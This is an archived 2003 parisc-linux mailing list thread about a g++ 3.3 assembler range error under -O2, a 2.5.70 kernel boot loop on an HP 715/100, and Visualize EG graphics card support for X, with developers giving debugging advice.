In-Reply-To: <3ED70CF1000065CC@ocpmta2.freegates.net> from "Joel Soete" at Jun 17, 2003 09:08:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18680

Hi Joel,

>  g3.3 -DHAVE_CONFIG_H -I. -I/CAD/OpenCascade/src/OCC/OCC/src/TKFillet -I../..
> -I/CAD/OpenCascade/src/OCC/OCC/inc -I/CAD/OpenCascade/src/OCC/OCC/drv/ChFiDS
> -I/CAD/OpenCascade/src/OCC/OCC/drv/ChFi2d -I/CAD/OpenCascade/src/OCC/OCC/drv/ChFi3d
> -I/CAD/OpenCascade/src/OCC/OCC/drv/ChFiKPart -I/CAD/OpenCascade/src/OCC/OCC/drv/Blend
> -I/CAD/OpenCascade/src/OCC/OCC/drv/BRepBlend -I/CAD/OpenCascade/src/OCC/OCC/drv/BlendFunc
> -I/CAD/OpenCascade/src/OCC/OCC/drv/BRepFilletAPI -I/CAD/OpenCascade/src/OCC/OCC/drv/FilletSurf
> -g -O2 -DCSFDB -MT ChFi3d_Builder_CnCrn.lo -MD -MP -MF .deps/ChFi3d_Builder_CnCrn.Tpo
> -c /CAD/OpenCascade/src/OCC/OCC/src/ChFi3d/ChFi3d_Builder_CnCrn.cxx  -fPIC
> -DPIC -o .libs/ChFi3d_Builder_CnCrn.o
> /tmp/ccQuyyIf.s: Assembler messages:
> /tmp/ccQuyyIf.s:146240: Error: Field out of range [-262144..262143] (-290528).
> make[3]: *** [ChFi3d_Builder_CnCrn.lo] Error 1
> make[3]: Leaving directory `/CAD/OpenCascade/build-40/src/TKFillet'
> make[2]: *** [all-recursive] Error 1
> make[2]: Leaving directory `/CAD/OpenCascade/build-40/src'
> make[1]: *** [all-recursive] Error 1
> make[1]: Leaving directory `/CAD/OpenCascade/build-40'
> make: *** [all] Error 2
> 
> palx2000:/CAD/OpenCascade/build-40# dpkg -l g3.3
> Desired=Unknown/Install/Remove/Purge/Hold
> | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
> |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
> ||/ Name                    Version                 Description
> =======================-=======================-==============================================================
> ii  g3.3                 3.3-3                   The GNU C compiler
> 
> This occurs as well with binutils 2.13.90.0.18-1.7 as with 2.14.90.0.4-0.1.
> 
> OTC according gcc br 10274 (<http://gcc.gnu.org/bugzilla/show_bug.cgi?id=10274>)
> which I filled in because of a ICE (in its time), binutils 2.13.2.1 would
> solved this pb (but unfortunately not debian available). What should I do
> more to help to fix this?

You could try assembling with the current cvs version of binutils.  You
can generate an assembler file by changing `-c' to `-S' and the output
file name in the above command.  This will allow you to look at the
assembler line in question and see whether this is a problem with stubs
or not (i.e., something other than a branch to a function).  As this is
C++ code, there might be a huge number of small functions causing overflow
of the stub table.

The stub table fix was done quite sometime ago and I would have thought
that recent debian versions of binutils would have it.

If this is not a stub table overflow problem, please file a gcc PR
including the preprocessed source from the above command.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some 2.5-testing
Date: Tue, 17 Jun 2003 18:06:44 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <3EEF3C94.3080300@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622518 26752 80.91.229.3 (22 Nov 2014 02:15:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 17 10:05:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 9D0104837
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jun 2003 10:05:52 -0600 (MDT)
Original-Received: (qmail 29395 invoked from network); 17 Jun 2003 16:05:50 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.1.138)
  by mail.medianet-world.de with SMTP; 17 Jun 2003 16:05:50 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18681

Hi there,

I tried to get a running 2.5.70 kernel on my 715/100, but booting 
results in an endless loop with the following error:

    Badness in local_bh_enable at kernel/softirq.c:109
    Kernel addresses on the stack:
     [<10123d54>]  [<10105884>]  [<10127610>]  [<10285e0c>]
     [<102868c4>]  [<10285828>]  [<10287360>]  [<1012b6ac>]
     [<10287624>]  [<1012782c>]  [<101275c8>]  [<10175800>]
     [<10107000>]  [<101876ac>]  [<1010a068>]  [<10285828>]
     [<1028e468>]  [<103951b8>]  [<10123d54>]  [<1028f904>]
     [<1039541c>]  [<10100278>]  [<10109c5c>]

Only way to stop it, is to pull the plug...
Does anyone know a solution?
Another thing:  During compile I get this warning several times:   
"Warning: long unsigned int format, time_t arg (arg XX)" (But perhaps 
this warning is solved with the fixes jejb uploaded currently)

Some more informations:

    Kernel was generated  via make distclean, make oldconfig, make vmlinux.
    During compile I get this warning several times:   "Warnung: long 
unsigned int format, time_t arg (arg XX)"
    OS: Debian testing with gcc-3.3 and glibc-2.3.16
    HW: HP 715/100 with serial console and HIL-adaptor box (but no mouse 
or keyboard is connected to the adaptor)
    Debug: System.map and complete bootlog is here: 
http://rscholz.bluehash.de/parisc/

TIA,
    Ruediger






From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Tue, 17 Jun 2003 12:22:04 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca>
References: <3EEF3C94.3080300@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622519 26767 80.91.229.3 (22 Nov 2014 02:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: r.scholz@bluehash.de (=?ISO-8859-15?Q?R=FCdiger_Scholz?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 17 10:22:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBC864837
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jun 2003 10:22:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5HGM5gL010582;
	Tue, 17 Jun 2003 12:22:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5HGM5QJ010581;
	Tue, 17 Jun 2003 12:22:05 -0400 (EDT)
In-Reply-To: <3EEF3C94.3080300@bluehash.de> from "=?ISO-8859-15?Q?R=FCdiger_Scholz?=" at Jun 17, 2003 06:06:44 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18682

> I tried to get a running 2.5.70 kernel on my 715/100, but booting 
> results in an endless loop with the following error:

Until issues related to the canonicalization of function pointers
and the alignment of stack locals are resolved, it is best to stick
with debian gcc-3.0.4 for kernel building.  Loops of this kind can
happen when lock structures are misaligned on PA 1.1 machines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Tue, 17 Jun 2003 14:06:40 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030617200640.GB10581@dsl2.external.hp.com>
References: <1EB1A4E066D0D411BD330008C79F06AE022EC544@yang.tvlbg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622519 26769 80.91.229.3 (22 Nov 2014 02:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 17 14:06:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0B8154834; Tue, 17 Jun 2003 14:06:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE022EC544@yang.tvlbg.ac.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18683

On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:
> I could not start unfortunately the X-Windows system, because it is not
> supported by Fx-4 video card.?!

correct

> My question is here:  Must I insert another card (and which??),  in order to
> start X-Windows-system?

> According to Debian HPPA, the Visualize EG should correct to function.  

yes. *PCI* version of the card.
Vis-EG HSC card might also work.

> This card is a 24-bit-video-card, which is recognized in the best way under
> Linux as "Coral" with HP 715-64, 

Is that really a Vis-EG HSC card?
Can you post "dmesg" output where STI describes the card?

grant


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Wed, 18 Jun 2003 13:55:42 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <3ED4C8B60000747E@ocpmta1.freegates.net>
References: <200306171508.h5HF86eW010149@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622519 26773 80.91.229.3 (22 Nov 2014 02:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 05:55:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10E764830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 05:55:47 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19SbWv-0000KH-00; Wed, 18 Jun 2003 13:55:09 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 18 Jun 2003 13:55:42 +0200
In-Reply-To: <200306171508.h5HF86eW010149@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18684

Hi Dave,

Shame on me: I forgot to test with different compression option.

I just do it and the problem doesn't occure any more without -O2 or with
-O1?


> You could try assembling with the current cvs version of binutils.  You
> can generate an assembler file by changing `-c' to `-S' and the output
> file name in the above command.  This will allow you to look at the
> assembler line in question and see whether this is a problem with stubs
> or not (i.e., something other than a branch to a function).  As this is
> C++ code, there might be a huge number of small functions causing overflow
> of the stub table.
> 
> The stub table fix was done quite sometime ago and I would have thought
> that recent debian versions of binutils would have it.
> 
> If this is not a stub table overflow problem, please file a gcc PR
> including the preprocessed source from the above command.

Never the less I will try to rebuild cvs binutils then check if the pb continue.

See you later,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Wed, 18 Jun 2003 11:12:24 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200306181512.h5IFCOSE015736@hiauly1.hia.nrc.ca>
References: <3ED4C8B60000747E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622520 26775 80.91.229.3 (22 Nov 2014 02:15:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 09:12:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3854A4830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 09:12:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5IFCPgL015738;
	Wed, 18 Jun 2003 11:12:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5IFCOSE015736;
	Wed, 18 Jun 2003 11:12:24 -0400 (EDT)
In-Reply-To: <3ED4C8B60000747E@ocpmta1.freegates.net> from "Joel Soete" at Jun 18, 2003 01:55:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18685

> Shame on me: I forgot to test with different compression option.
> 
> I just do it and the problem doesn't occure any more without -O2 or with
> -O1?

The optimization level affects inlining and as a result the size of
functions.  There has been a lot of discussion on the gcc lists related
to problems with inlining with the new tree inliner in 3.3, particularly
in C++ code.  So, the problem should be looked at even if there is a
work around.  The first step is to determine whether this is a gcc or
binutils problem (i.e., we need to know if the size of the stub table
has overflowed or if gcc has miscalculated an offset).

It would be a big help if you would generate the preprocessed source
code using the exact command that fails except for changing `-c' to `-E',
and then submit it in a gcc bug report describing the failure.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Wed, 18 Jun 2003 08:59:56 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <20030618155956.87501.qmail@web12508.mail.yahoo.com>
References: <20030617200640.GB10581@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1002081912-1055951996=:86651"
X-Trace: ger.gmane.org 1416622520 26782 80.91.229.3 (22 Nov 2014 02:15:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>,
	Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 09:59:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 62C6B4830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 09:59:58 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12508.mail.yahoo.com via HTTP; Wed, 18 Jun 2003 08:59:56 PDT
In-Reply-To: <20030617200640.GB10581@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18686

--0-1002081912-1055951996=:86651
Content-Type: text/plain; charset=us-ascii

Yes, there is an HSC EG card.  Used it in my C360 before I sold it.  The PCI version of the card has more memory on it though.
 
derek

Grant Grundler <grundler@parisc-linux.org> wrote:
On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:
> I could not start unfortunately the X-Windows system, because it is not
> supported by Fx-4 video card.?!

correct

> My question is here: Must I insert another card (and which??), in order to
> start X-Windows-system?

> According to Debian HPPA, the Visualize EG should correct to function. 

yes. *PCI* version of the card.
Vis-EG HSC card might also work.

> This card is a 24-bit-video-card, which is recognized in the best way under
> Linux as "Coral" with HP 715-64, 

Is that really a Vis-EG HSC card?
Can you post "dmesg" output where STI describes the card?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
--0-1002081912-1055951996=:86651
Content-Type: text/html; charset=us-ascii

<DIV>Yes, there is an HSC EG card.&nbsp; Used it in my C360 before I sold it.&nbsp; The PCI version of the card has more memory on it though.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><B><I>Grant Grundler &lt;grundler@parisc-linux.org&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:<BR>&gt; I could not start unfortunately the X-Windows system, because it is not<BR>&gt; supported by Fx-4 video card.?!<BR><BR>correct<BR><BR>&gt; My question is here: Must I insert another card (and which??), in order to<BR>&gt; start X-Windows-system?<BR><BR>&gt; According to Debian HPPA, the Visualize EG should correct to function. <BR><BR>yes. *PCI* version of the card.<BR>Vis-EG HSC card might also work.<BR><BR>&gt; This card is a 24-bit-video-card, which is recognized in the best way under<BR>&gt; Linux as "Coral" with HP 715-64, <BR><BR>Is that really a Vis-EG HSC card?<BR>Can you post "dmesg" output where STI describes the card?<BR><B
 R>grant<BR>_______________________________________________<BR>parisc-linux mailing
 list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://pa.yahoo.com/*http://rd.yahoo.com/evt=1207/*http://promo.yahoo.com/sbc/">SBC Yahoo! DSL</a> - Now only $29.95 per month!
--0-1002081912-1055951996=:86651--


From - Thu Nov 08 21:28:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Wed, 18 Jun 2003 18:38:55 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <3ED4C8B6000076B3@ocpmta1.freegates.net>
References: <200306181512.h5IFCOSE015736@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622520 26785 80.91.229.3 (22 Nov 2014 02:15:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 10:39:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A2814830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 10:39:05 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19SfwF-0008Nr-00; Wed, 18 Jun 2003 18:37:35 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 18 Jun 2003 18:38:55 +0200
In-Reply-To: <200306181512.h5IFCOSE015736@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18687

Hi Dave,

Sorry for delay (even with my speedy b2k, it takes some time for optimizing
this stuff :-) ).

> The optimization level affects inlining and as a result the size of
> functions.  There has been a lot of discussion on the gcc lists related
> to problems with inlining with the new tree inliner in 3.3, particularly
> in C++ code.  So, the problem should be looked at even if there is a
> work around.  The first step is to determine whether this is gcc or
> binutils problem (i.e., we need to know if the size of the stub table
> has overflowed or if gcc has miscalculated an offset).

Finaly, here we are:

a) The same bad result with -O2 and today cvs binutils :-(
# as --version

GNU assembler 2.14.90 20030618
